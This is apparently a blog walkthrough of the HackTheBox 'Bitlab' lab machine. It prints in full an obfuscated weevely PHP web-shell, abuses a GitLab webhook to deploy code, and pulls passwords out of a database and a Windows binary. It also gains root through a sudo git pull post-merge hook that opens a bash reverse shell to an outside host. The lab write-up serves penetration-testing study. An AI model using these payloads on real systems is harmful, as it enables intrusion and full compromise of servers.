HackTheBox - Bitlab

— Written by — 11 min read
bitlab-hackthebox

Bitlab box was an interesting box, user part was typical real-life scenario (actually meet this scenario during multiple pentests) while the root part was my first time Reverse Engineering.

Tl;Dr: The user part needed you access a Gitlab instance by using credentials leaked by one of the developer. From here you could merge a web-shell that is automatically pulled on the server by a merge_request webhook. Still from the Gitlab instance you find a piece of code with database credentials. With the web-shell as www-data you can pivot to clave user using his password found in the database and get the flag.
The root part was reverse engineering of an Windows binary to extract the root account password needed to grab the flag.

Alright! Let’s get into the details now!


First we add the box ip to our host file and let’s start!

1
[[email protected] ~]$ echo "10.10.10.114 bitlab.htb" >> /etc/hosts

User flag.

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
nmap -sV -sT -sC bitlab.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-26 02:00 CEST
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
|_ http-robots.txt: 55 disallowed entries (15 shown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 96.45 seconds

We have a classical web app running on port 443 and the ssh port 22 open.

Opening http://bitlab.htb display the following a gitlab instance :

bitlab homepage

Using gobuster to brute force for interesting directories and files won’t be useful here since all urls return a redirect to the login page. We will do the old fashioned way of manual browsing. I will be quick since there is only three links accessible from the main page:

  • Explore page is empty.
  • Help show a directory listing for documentation.
  • bookmarks.html page display what looks like the exported browser bookmarks of the developer.

The Gitlab - Sign In bookmark looks usual:

1
<DT><A HREF="javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A>

The bookmark is not a classic url but javascript script. This is a useful trick that allow you to run javascript on a given website just by clicking on the bookmark icon.

Since the js is obfuscated a little let’s open the Gitlab login page and run it onto the console to see what happen :

bitlab bookmark script

The js script is automatically filling the login form with username clave and a password. While checking network we can see that the password is 11des0081x.

So we have access to one developer Gitlab account. Out of curiosity I tried to SSH with those credentials but without surprise, it didn’t worked. Let’s move on.

We have access to two repositories :

  • Deployer
  • Profile

Seeing by the name we can guess that deployer will be a kind of script to automatically deploy application to the web server. Let’s try to understand the inner working better:

deployer repository hold a single index.php file. The README file explain that it’s a webhook. Reading through the documentation of gitlab we can understand that a webhook is a function that will call a given url when a event occur on the repository:

Project webhooks allow you to trigger a URL if for example new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. GitLab will send a POST request with data to the webhook URL.

In our case here, we can guess that the repository is configured to make a call to http://bitlab.htb/deployer/index.php when a action is made on the repository (can be commit, merge, pull request, etc…).

Let’s take a look at the index.php to understand what action is made once it’s called :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$input = file_get_contents("php://input");
$payload = json_decode($input);

$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}

echo "OK\n";

This a rather simple script. Judging from the if condition we understand that the script will change directory to ../profile/ and then make a git pull to get the latest changes on every merged merge request.

It’s our luck, because we have control over the profile repository which is available through the Gitlab instance. That means that if we merge a file though a merge_request to the profile repository, the said file will automatically be pulled on the server by the deployer/index.php webhook. That’s the perfect scenario for a web-shell don’t you think? :)

Web-shell as www-data

Through this Gitlab interface we can add a new file to the profile repository, it will be faster than cloning.

I used weevely to generate a php web-shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[[email protected] ~]$ python weevely.py generate xxxxxxxx hg8.php
Generated 'hg8.php' with password 'xxxxxxxx' of 762 byte size.
[[email protected] ~]$ cat hg8.php
<?php
$r='$k="ab+-c7+-377b";$kh=+-"3b+-25356491d+-a";$+-kf="+-be0+-0e7cb757+-b";$p=+-"w0NSnMM+-i';
$A='+-j};}}r+-e+-tur+-n $o;}if([email protected]_+-+-matc+-h("/$kh(+-.+)+-$kf/",@file_get_+-conten';
$Y=';[email protected]+-se64_+-+-encod+-e(@x(@gzcompre+-ss(+-$o),$+-k));print("$p+-+-$kh$r$kf");}';
$G='or($i=0;$i+-<$l+-;+-){fo+-r($+-j+-=0;($j<$c&&$i<$l);$j++-+-+,$+-i++){$o.=$t{$i}^$k{$';
$D='ba+-s+-e+-64_decode($m[1+-])+-,$k+-)));[email protected]_get_c+-+-onte+-nts();@ob_en+-d_clean()';
$l='ONjCY+-uBR";funct+-ion x+-($t,$k+-){$c+-=+-strle+-+-n($k);$l=st+-rlen(+-$t);$o="+-";f';
$n=str_replace('A','','AcAreAate_AfuncAtiAon');
$w='ts(+-"php:/+-/+-input"),$+-m)==1){[email protected]_s+-tart()+-;[email protected]+-l(@gzu+-ncompress(@x+-(@';
$W=str_replace('+-','',$r.$l.$G.$A.$w.$D.$Y);
$u=$n('',$W);$u();
?>

After committing our new file to the repository we start a merge request and merge it ourselves since we have enough permissions to do so.

Our web-shell is now in the profile repository:

profile repository webshell

If the web-hook worked properly our web shell file should already be on the server, let’s try it out :

1
2
3
4
5
[[email protected] ~]$ python weevely.py http://bitlab.htb/profile/hg8.php htbpassword

weevely> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/html/profile $

We are in as user www-data.

Pivot www-data -> clave user

Let’s do some recon to get the user flag :

1
2
3
4
5
[email protected]:/ $ ls /home
clave
[email protected]:/ $ ls -l /home/clave
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave 33 Feb 28 2019 user.txt

The user is clave as well.

After a bit of recon, it seems that nothing helpful seems to be accessible from www-data user. When nothing can be found, a good strategy is to go back at the beginning to make sure we didn’t forgot anything. Let’s go back to our starting point : Gitlab.

After searching around and digging a bit more we can find a “Snippet” page under each users profile. On the Developer profile there is a Postgresql snippet with hard-coded credentials:

1
2
3
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

Let’s try to dig into the database for useful informations:

1
2
[email protected]:/ $ psql profiles profiles
sh: 1: psql: not found

Since psql is not installed, let’s use the postgresql PHP library. I tweaked the snippet a little to obtain the following scrip :

1
2
3
4
5
6
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");

$query_result = pg_query($db_connection, "SELECT * FROM profiles");
$results = pg_fetch_all($query_result);
print_r($results);

Running the php script output only one user, clave again and what looks like a base64 encoded password:

1
2
3
4
5
6
7
8
9
10
11
[email protected]:/tmp $ php test.php
Array
(
[0] => Array
(
[id] => 1
[username] => clave
[password] => c3NoLXN0cjBuZy1wQHNz==
)

)

Decoding the password gives the following:

1
2
[[email protected] ~]$ echo "c3NoLXN0cjBuZy1wQHNz==" | base64 -di
[email protected]

Awesome, we got the ssh password for user clave let’s go for the user flag:

1
2
3
[[email protected] ~]$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.

Permission denied that’s disappointing and strange. The database entry clearly state the user is clave (we saw previously that no other user are present on the box). The password itself state ssh… Could it be that it was simply the clear-text password…?

1
2
3
4
5
[[email protected] ~]$ ssh [email protected]
[email protected]'s password:
Last login: Sun Oct 27 14:26:51 2019 from 10.10.10.10
[email protected]:~$ cat user.txt
1e3fxxxxxxxxxxxxxxxxb8154

That was it, it was easy to loose time on this one but the password was c3NoLXN0cjBuZy1wQHNz== without decoding.

Time to move to root.

Root Flag

Recon

The recon part was quite quick, a Windows executable named RemoteConnection.exe was present on the home folder.

Got a little surprised seeing this in a Linux box but why not after all. It was my first time reverse engineering so it took me a bit of time to gather the right tools and understand how this binary was working.

Let’s pull it and start the analysis:

1
2
3
[[email protected] ~]$ scp [email protected]:~/RemoteConnection.exe .
[email protected]'s password:
RemoteConnection.exe 100% 14KB 279.5KB/s 00:00

Reverse engineering of RemoteConnection.exe

Oddly enough I was able to make it work on any of my virtual machines. Tried Windows 7, 10, x32, x64 everything.

Every time I got the following error message:

EXCEPTION_ACCESS_VIOLATION

Ntdll - Inaccesible Address

So if anyone have any idea where this come from and how to fix please leave a comment.

Anyway, I managed to borrow a Windows computer just to finish this box.

The executable is 32-bit, running it display the following:

1
2
PS C:\Users\hg8\> .\RemoteConnection.exe
Access Denied !!

Strings

Running strings on the file doesn’t output a lot of valuable informations:

1
2
3
4
5
6
7
8
9
10
$ strings RemoteConnection.exe
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
XRIBG0UCDh0HJRcIBh8EEk8aBwdQTAIERVIwFEQ4SDghJUsHJTw1TytWFkwPVgQ2RztS
parse
Access Denied !!
string too long
invalid string position
GetUserNameW
ShellExecuteW
SHELL32.dll

We can see GetUserNameW what might be used to retrieve the current Windows session username and ShellExecuteW which is a function to run external command.

To get more information out of it I will use a debugger. This way maybe we can pull more valuable informations during runtime by reading the memory or even patching the binary to bypass the check leading to Access Denied.

Debugging

I will use x32dbg since it’s free and open-source.

After opening our binary we forward run once to arrive to the RemoteConnection.exe entry point:

remoteconnection.exe entry point

Now let’s extract the referenced strings using the function provided by x32dbg:

remoteconnexion.exe bitlab strings

This is starting to get a bit more interesting. We have a reference to our previous user clave and a reference to putty.exe. Putty is a Windows terminal emulator often used to connect to server through SSH.

If I could guess so far, the program check using GetUserNameW if the current user is clave and if so it will launch putty.exe using ShellExecuteW to automatically connect to, probably, the root account on Bitlab server. Unfortunately there is still no passwords in those referenced strings.

Let’s continue digging to see if we can either:

  • Reverse the algorithm used to obfuscate the password.
  • Patch the binary to launch putty even if the connected user is not clave.
  • Read some other interesting strings from memory.

To start off let’s double-click the L"clave" to see where it’s reference:

clave cmp bitlab

Ok so looks like we are on the right track, we have a compare to the clave strings if the comparaison fail we jump to what is probably the Access Denied !! error message, while if the comparaison return true the function continue to the call of putty.exe.

Breaking

Let’s put a breakpoint on the clave cmp line to see what’s going on it memory. To do so click the grey circle on the left of the line to turn it red. Then let’s forward once:

bitlab remoteconnexion.exe strings password

Bingo! Even at the moment of comparing the user the eax already contains the full command passed to Putty.

bitlab root credentials remoteconnexion.exe

Let’s use the those credentials to login to the root account using SSH:

1
2
3
4
5
6
7
$ ssh [email protected]
[email protected]'s password:
Last login: Fri Sep 13 14:11:14 2019
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~# cat root.txt
8xxxxxxxxxxxxxxxxxxxxxxxxc

“Unintended” way to root

While having a shell as www-data we notice an unusual sudo configuration:

1
2
3
4
5
6
7
[email protected]:/$ sudo -l
Matching Defaults entries for www-data on bitlab:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bitlab:
(root) NOPASSWD: /usr/bin/git pull

This is used to automatically deploy projects to the server. The sudo is probably used to pull file where even if the permissions does not match.

The Git documentation point an interesting fact about git pull:

In its default mode, git pull is shorthand for git fetch followed by git merge FETCH_HEAD.

https://git-scm.com/docs/git-pull

That mean we have a git merge run as root. We can probably leverage this with a hook to achieve remote code execution as root. As a reminder:

Hooks are programs you can place in a hooks directory to trigger actions at certain points in git’s execution.

https://git-scm.com/docs/githooks

We are going to use a post-merge hook since it’s going to be executed whenever a git pull is executed.

Unfortunately neither profile nor deployer project can be directly written as www-data. That’s not really a problem since we can simply copy the project to the /tmp/ folder for example and be able to work on it:

1
2
3
4
[email protected]:/$ cp -r /var/www/html/profile /tmp/.hg8
[email protected]:/$ cd /tmp/.hg8/profile/.git/hooks
[email protected]:/$ touch post-merge
[email protected]:/$ chmod +x post-merge

Let’s try to open a reverse shell as root using that hook. First let’s create our reverse shell file:

1
2
3
[email protected]:/$ cat post-merge
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/8585 0>&1

Then we open our listener:

1
2
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585

Next step is to make a sudo /usr/bin/git pull to have our hook and reverse shell executed:

1
2
[email protected]:/tmp/.hg8/profile$ sudo /usr/bin/git pull
Already up to date.

Ah yes, there is no change to the project, let’s quickly go back to the Gitlab interface and commit a dummy file to profile project, then let’s git pull again:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:/tmp/.hg8/profile$ sudo /usr/bin/git pull   
remote: Enumerating objects: 1, done.
remote: Counting objects: 100% (1/1), done.
remote: Compressing objects: 100% (1/1), done.
remote: Total 1 (delta 1), reused 1 (delta 1)
Unpacking objects: 100% (1/1), done.
From ssh://localhost:3022/root/profile
34c4513..86773b8 master -> origin/master
Updating 34c4513..86773b8
Fast-forward
hg8 | 1 +
1 file changed, 1 addition(+)

And we get a new connection on our listener:

1
2
3
4
5
6
7
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.114:40048
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat root.txt
8xxxxxxxxxxxxxxxxxxxxxxxxc

As always do not hesitate to contact me for any questions or feedback.

See you next time !

-hg8



CTFHackTheBoxMedium Box
, , , , , ,